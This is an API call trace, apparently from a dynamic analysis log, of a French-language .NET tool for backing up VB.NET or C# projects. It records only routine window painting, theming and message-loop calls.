[0076.991] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0076.991] GetCurrentObject (hdc=0x6b010156, type=0x1) returned 0x1b00017 [0076.991] GetCurrentObject (hdc=0x6b010156, type=0x2) returned 0x1900010 [0076.991] GetCurrentObject (hdc=0x6b010156, type=0x7) returned 0x70050254 [0076.991] GetCurrentObject (hdc=0x6b010156, type=0x6) returned 0x18a002e [0076.991] SaveDC (hdc=0x6b010156) returned 1 [0076.992] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x440401e3 [0076.992] GetClipRgn (hdc=0x6b010156, hrgn=0x440401e3) returned 0 [0076.992] SelectClipRgn (hdc=0x6b010156, hrgn=0x43040850) returned 2 [0076.992] DeleteObject (ho=0x440401e3) returned 1 [0076.992] DeleteObject (ho=0x43040850) returned 1 [0076.992] OffsetViewportOrgEx (in: hdc=0x6b010156, x=0, y=0, lppt=0x2744f0c | out: lppt=0x2744f0c) returned 1 [0076.992] IsAppThemed () returned 0x1 [0076.992] GetThemeAppProperties () returned 0x3 [0076.992] GetThemeAppProperties () returned 0x3 [0076.992] GetThemeBackgroundContentRect () returned 0x0 [0076.992] RestoreDC (hdc=0x6b010156, nSavedDC=-1) returned 1 [0076.992] GdipReleaseDC (graphics=0x4c358c0, hdc=0x6b010156) returned 0x0 [0076.992] IsAppThemed () returned 0x1 [0076.992] GetThemeAppProperties () returned 0x3 [0076.992] GetThemeAppProperties () returned 0x3 [0076.992] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0076.992] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0076.992] GetCurrentObject (hdc=0x6b010156, type=0x1) returned 0x1b00017 [0076.992] GetCurrentObject (hdc=0x6b010156, type=0x2) returned 0x1900010 [0076.992] GetCurrentObject (hdc=0x6b010156, type=0x7) returned 0x70050254 [0076.992] GetCurrentObject (hdc=0x6b010156, type=0x6) returned 0x18a002e [0076.992] SaveDC (hdc=0x6b010156) returned 1 [0076.992] GetTextAlign (hdc=0x6b010156) returned 0x0 [0076.992] GetTextColor (hdc=0x6b010156) returned 0x0 [0076.992] GetCurrentObject (hdc=0x6b010156, type=0x6) returned 0x18a002e [0076.993] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0076.993] SelectObject (hdc=0x6b010156, h=0x100a0252) returned 0x18a002e [0076.993] GetBkMode (hdc=0x6b010156) returned 2 [0076.993] SetBkMode (hdc=0x6b010156, mode=1) returned 2 [0076.993] DrawTextExW (in: hdc=0x6b010156, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x27452a0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0076.993] DrawTextExW (in: hdc=0x6b010156, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x27452a0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0076.993] RestoreDC (hdc=0x6b010156, nSavedDC=-1) returned 1 [0076.993] GdipReleaseDC (graphics=0x4c358c0, hdc=0x6b010156) returned 0x0 [0076.993] GetFocus () returned 0x201e4 [0076.993] IsAppThemed () returned 0x1 [0076.993] GetThemeAppProperties () returned 0x3 [0076.993] GetThemeAppProperties () returned 0x3 [0076.993] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0076.993] BitBlt (hdc=0x12010815, x=0, y=0, cx=163, cy=29, hdcSrc=0x6b010156, x1=0, y1=0, rop=0xcc0020) returned 1 [0076.994] GdipReleaseDC (graphics=0x4c358c0, hdc=0x6b010156) returned 0x0 [0076.994] SelectPalette (hdc=0x12010815, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0076.994] SelectObject (hdc=0x6b010156, h=0x185000f) returned 0x70050254 [0076.994] DeleteDC (hdc=0x6b010156) returned 1 [0076.994] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0076.994] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0076.994] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0076.994] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0076.994] WaitMessage () returned 1 [0077.072] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0077.072] IsWindowUnicode (hWnd=0x201d6) returned 1 [0077.072] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0077.072] TranslateMessage (lpMsg=0x32f158) returned 0 [0077.072] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0077.072] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0077.072] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0077.072] WaitMessage () returned 1 [0077.288] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0077.288] IsWindowUnicode (hWnd=0x201d8) returned 1 [0077.288] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0077.288] TranslateMessage (lpMsg=0x32f158) returned 0 [0077.288] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0077.288] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0077.288] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0077.288] WaitMessage () returned 1 [0081.965] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0081.965] IsWindowUnicode (hWnd=0x201e4) returned 1 [0081.965] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0081.965] GetKeyState (nVirtKey=16) returned 0 [0081.965] GetKeyState (nVirtKey=17) returned 0 [0081.965] GetKeyState (nVirtKey=18) returned -127 [0081.965] SendMessageW (hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0081.965] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0081.965] GetKeyState (nVirtKey=16) returned 0 [0081.965] GetKeyState (nVirtKey=17) returned 0 [0081.965] GetKeyState (nVirtKey=18) returned -127 [0081.966] TranslateMessage (lpMsg=0x32f158) returned 1 [0081.966] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0081.966] GetKeyState (nVirtKey=16) returned 0 [0081.966] GetKeyState (nVirtKey=17) returned 0 [0081.966] GetKeyState (nVirtKey=18) returned -127 [0081.966] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0081.966] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0081.966] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0081.966] WaitMessage () returned 1 [0081.975] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0081.975] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0081.976] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0081.976] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0081.987] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0081.987] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0081.987] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0081.987] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0081.988] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0081.988] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0081.988] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0081.996] NtdllDefWindowProc_W () returned 0x0 [0081.996] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0081.996] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x0, lParam=0x404) returned 0x0 [0081.996] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0081.996] GetCapture () returned 0x0 [0081.996] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0081.997] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0082.005] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0082.005] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0082.005] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0082.005] IsWindowUnicode (hWnd=0x201e4) returned 1 [0082.005] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0082.005] TranslateMessage (lpMsg=0x32f158) returned 0 [0082.005] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0082.005] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x3010821 [0082.005] SelectPalette (hdc=0x3010821, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0082.005] CreateCompatibleDC (hdc=0x3010821) returned 0x72010156 [0082.005] SelectObject (hdc=0x72010156, h=0x70050254) returned 0x185000f [0082.005] GdipCreateFromHDC (hdc=0x72010156, graphics=0x32ec54) returned 0x0 [0082.005] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0082.005] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0082.005] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0082.006] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0082.006] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0082.006] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0082.006] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e619a0) returned 0x0 [0082.006] LocalFree (hMem=0x4e619a0) returned 0x0 [0082.006] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0082.006] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0082.006] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0082.006] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0082.006] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0082.006] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd990dbd) returned 0x0 [0082.006] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0082.006] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0082.006] GetCurrentObject (hdc=0x72010156, type=0x1) returned 0x1b00017 [0082.006] GetCurrentObject (hdc=0x72010156, type=0x2) returned 0x1900010 [0082.006] GetCurrentObject (hdc=0x72010156, type=0x7) returned 0x70050254 [0082.006] GetCurrentObject (hdc=0x72010156, type=0x6) returned 0x18a002e [0082.006] SaveDC (hdc=0x72010156) returned 1 [0082.006] GetNearestColor (hdc=0x72010156, color=0xf0f0f0) returned 0xf0f0f0 [0082.006] GetNearestColor (hdc=0x72010156, color=0xa0a0a0) returned 0xa0a0a0 [0082.006] GetNearestColor (hdc=0x72010156, color=0x696969) returned 0x696969 [0082.007] GetNearestColor (hdc=0x72010156, color=0xa0a0a0) returned 0xa0a0a0 [0082.007] GetNearestColor (hdc=0x72010156, color=0x0) returned 0x0 [0082.007] GetNearestColor (hdc=0x72010156, color=0xffffff) returned 0xffffff [0082.007] GetNearestColor (hdc=0x72010156, color=0xe5e5e5) returned 0xe5e5e5 [0082.007] GetNearestColor (hdc=0x72010156, color=0xd7d7d7) returned 0xd7d7d7 [0082.007] GetNearestColor (hdc=0x72010156, color=0x0) returned 0x0 [0082.007] RestoreDC (hdc=0x72010156, nSavedDC=-1) returned 1 [0082.007] GdipReleaseDC (graphics=0x4c358c0, hdc=0x72010156) returned 0x0 [0082.007] IsAppThemed () returned 0x1 [0082.007] GetThemeAppProperties () returned 0x3 [0082.007] GetThemeAppProperties () returned 0x3 [0082.007] IsAppThemed () returned 0x1 [0082.007] GetThemeAppProperties () returned 0x3 [0082.007] GetThemeAppProperties () returned 0x3 [0082.007] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x27e000c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0082.007] IsAppThemed () returned 0x1 [0082.007] GetThemeAppProperties () returned 0x3 [0082.007] GetThemeAppProperties () returned 0x3 [0082.007] IsAppThemed () returned 0x1 [0082.007] GetThemeAppProperties () returned 0x3 [0082.007] GetThemeAppProperties () returned 0x3 [0082.007] GetFocus () returned 0x0 [0082.007] IsAppThemed () returned 0x1 [0082.007] GetThemeAppProperties () returned 0x3 [0082.008] GetThemeAppProperties () returned 0x3 [0082.008] IsAppThemed () returned 0x1 [0082.008] GetThemeAppProperties () returned 0x3 [0082.008] GetThemeAppProperties () returned 0x3 [0082.008] IsThemePartDefined () returned 0x1 [0082.008] IsAppThemed () returned 0x1 [0082.008] GetThemeAppProperties () returned 0x3 [0082.008] GetThemeAppProperties () returned 0x3 [0082.008] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0082.008] IsAppThemed () returned 0x1 [0082.008] GetThemeAppProperties () returned 0x3 [0082.008] GetThemeAppProperties () returned 0x3 [0082.008] IsAppThemed () returned 0x1 [0082.008] GetThemeAppProperties () returned 0x3 [0082.008] GetThemeAppProperties () returned 0x3 [0082.008] IsThemePartDefined () returned 0x1 [0082.008] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0082.008] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0082.008] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0082.008] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0082.008] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0082.008] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0082.008] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e619a0) returned 0x0 [0082.008] LocalFree (hMem=0x4e619a0) returned 0x0 [0082.008] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0082.008] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e619a0) returned 0x0 [0082.008] LocalFree (hMem=0x4e619a0) returned 0x0 [0082.009] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0082.009] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0082.009] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0082.009] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0082.009] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0082.009] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0082.009] GetCurrentObject (hdc=0x72010156, type=0x1) returned 0x1b00017 [0082.009] GetCurrentObject (hdc=0x72010156, type=0x2) returned 0x1900010 [0082.009] GetCurrentObject (hdc=0x72010156, type=0x7) returned 0x70050254 [0082.009] GetCurrentObject (hdc=0x72010156, type=0x6) returned 0x18a002e [0082.009] SaveDC (hdc=0x72010156) returned 1 [0082.009] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x44040850 [0082.009] GetClipRgn (hdc=0x72010156, hrgn=0x44040850) returned 0 [0082.009] SelectClipRgn (hdc=0x72010156, hrgn=0x4b0401e3) returned 2 [0082.009] DeleteObject (ho=0x44040850) returned 1 [0082.009] DeleteObject (ho=0x4b0401e3) returned 1 [0082.009] OffsetViewportOrgEx (in: hdc=0x72010156, x=0, y=0, lppt=0x27e06bc | out: lppt=0x27e06bc) returned 1 [0082.009] DrawThemeParentBackground () returned 0x0 [0082.009] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0082.009] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0082.009] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0082.010] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0082.010] GetSystemMetrics (nIndex=42) returned 0 [0082.010] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0082.010] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0082.010] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0082.010] GetCurrentObject (hdc=0x72010156, type=0x1) returned 0x1b00017 [0082.010] GetCurrentObject (hdc=0x72010156, type=0x2) returned 0x1900010 [0082.010] GetCurrentObject (hdc=0x72010156, type=0x7) returned 0x70050254 [0082.010] GetCurrentObject (hdc=0x72010156, type=0x6) returned 0x18a002e [0082.010] SaveDC (hdc=0x72010156) returned 2 [0082.010] GetNearestColor (hdc=0x72010156, color=0xf0f0f0) returned 0xf0f0f0 [0082.010] CreateSolidBrush (color=0xf0f0f0) returned 0x1c10084d [0082.010] FillRect (hDC=0x72010156, lprc=0x32e4d4, hbr=0x1c10084d) returned 1 [0082.010] DeleteObject (ho=0x1c10084d) returned 1 [0082.010] RestoreDC (hdc=0x72010156, nSavedDC=-1) returned 1 [0082.010] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0082.010] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0082.010] GetSystemMetrics (nIndex=42) returned 0 [0082.010] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0082.010] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0082.010] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0082.010] GetCurrentObject (hdc=0x72010156, type=0x1) returned 0x1b00017 [0082.011] GetCurrentObject (hdc=0x72010156, type=0x2) returned 0x1900010 [0082.011] GetCurrentObject (hdc=0x72010156, type=0x7) returned 0x70050254 [0082.011] GetCurrentObject (hdc=0x72010156, type=0x6) returned 0x18a002e [0082.011] SaveDC (hdc=0x72010156) returned 2 [0082.011] GetNearestColor (hdc=0x72010156, color=0xf0f0f0) returned 0xf0f0f0 [0082.011] CreateSolidBrush (color=0xf0f0f0) returned 0x1d10084d [0082.011] FillRect (hDC=0x72010156, lprc=0x32e474, hbr=0x1d10084d) returned 1 [0082.011] DeleteObject (ho=0x1d10084d) returned 1 [0082.011] RestoreDC (hdc=0x72010156, nSavedDC=-1) returned 1 [0082.011] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0082.011] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0082.011] GetSystemMetrics (nIndex=42) returned 0 [0082.011] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0082.011] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0082.011] RestoreDC (hdc=0x72010156, nSavedDC=-1) returned 1 [0082.011] GdipReleaseDC (graphics=0x4c358c0, hdc=0x72010156) returned 0x0 [0082.011] IsAppThemed () returned 0x1 [0082.011] GetThemeAppProperties () returned 0x3 [0082.011] GetThemeAppProperties () returned 0x3 [0082.011] IsAppThemed () returned 0x1 [0082.012] GetThemeAppProperties () returned 0x3 [0082.012] GetThemeAppProperties () returned 0x3 [0082.012] IsThemePartDefined () returned 0x1 [0082.012] GdipCreateRegion (region=0x32e968) returned 0x0 [0082.012] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0082.012] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0082.012] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0082.012] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0082.012] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0082.012] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e619a0) returned 0x0 [0082.012] LocalFree (hMem=0x4e619a0) returned 0x0 [0082.012] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0082.012] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e619a0) returned 0x0 [0082.012] LocalFree (hMem=0x4e619a0) returned 0x0 [0082.012] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0082.012] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0082.012] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0082.012] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0082.012] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0082.012] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0082.012] GetCurrentObject (hdc=0x72010156, type=0x1) returned 0x1b00017 [0082.012] GetCurrentObject (hdc=0x72010156, type=0x2) returned 0x1900010 [0082.012] GetCurrentObject (hdc=0x72010156, type=0x7) returned 0x70050254 [0082.012] GetCurrentObject (hdc=0x72010156, type=0x6) returned 0x18a002e [0082.012] SaveDC (hdc=0x72010156) returned 1 [0082.013] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4c0401e3 [0082.013] GetClipRgn (hdc=0x72010156, hrgn=0x4c0401e3) returned 0 [0082.013] SelectClipRgn (hdc=0x72010156, hrgn=0x46040850) returned 2 [0082.013] DeleteObject (ho=0x4c0401e3) returned 1 [0082.013] DeleteObject (ho=0x46040850) returned 1 [0082.013] OffsetViewportOrgEx (in: hdc=0x72010156, x=0, y=0, lppt=0x27e10f4 | out: lppt=0x27e10f4) returned 1 [0082.013] IsAppThemed () returned 0x1 [0082.013] GetThemeAppProperties () returned 0x3 [0082.013] GetThemeAppProperties () returned 0x3 [0082.013] DrawThemeBackground () returned 0x0 [0082.013] RestoreDC (hdc=0x72010156, nSavedDC=-1) returned 1 [0082.013] GdipReleaseDC (graphics=0x4c358c0, hdc=0x72010156) returned 0x0 [0082.013] GdipCreateRegion (region=0x32e950) returned 0x0 [0082.014] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0082.014] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0082.014] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0082.014] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0082.014] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0082.014] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e619a0) returned 0x0 [0082.014] LocalFree (hMem=0x4e619a0) returned 0x0 [0082.014] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e619a0 [0082.014] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e619a0) returned 0x0 [0082.014] LocalFree (hMem=0x4e619a0) returned 0x0 [0082.014] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0082.014] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0082.014] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0082.014] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0082.014] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0082.014] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0082.014] GetCurrentObject (hdc=0x72010156, type=0x1) returned 0x1b00017 [0082.014] GetCurrentObject (hdc=0x72010156, type=0x2) returned 0x1900010 [0082.014] GetCurrentObject (hdc=0x72010156, type=0x7) returned 0x70050254 [0082.014] GetCurrentObject (hdc=0x72010156, type=0x6) returned 0x18a002e [0082.014] SaveDC (hdc=0x72010156) returned 1 [0082.014] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x47040850 [0082.014] GetClipRgn (hdc=0x72010156, hrgn=0x47040850) returned 0 [0082.014] SelectClipRgn (hdc=0x72010156, hrgn=0x4d0401e3) returned 2 [0082.015] DeleteObject (ho=0x47040850) returned 1 [0082.015] DeleteObject (ho=0x4d0401e3) returned 1 [0082.015] OffsetViewportOrgEx (in: hdc=0x72010156, x=0, y=0, lppt=0x27e13c8 | out: lppt=0x27e13c8) returned 1 [0082.015] IsAppThemed () returned 0x1 [0082.015] GetThemeAppProperties () returned 0x3 [0082.015] GetThemeAppProperties () returned 0x3 [0082.015] GetThemeBackgroundContentRect () returned 0x0 [0082.015] RestoreDC (hdc=0x72010156, nSavedDC=-1) returned 1 [0082.015] GdipReleaseDC (graphics=0x4c358c0, hdc=0x72010156) returned 0x0 [0082.015] IsAppThemed () returned 0x1 [0082.015] GetThemeAppProperties () returned 0x3 [0082.015] GetThemeAppProperties () returned 0x3 [0082.015] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0082.015] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0082.015] GetCurrentObject 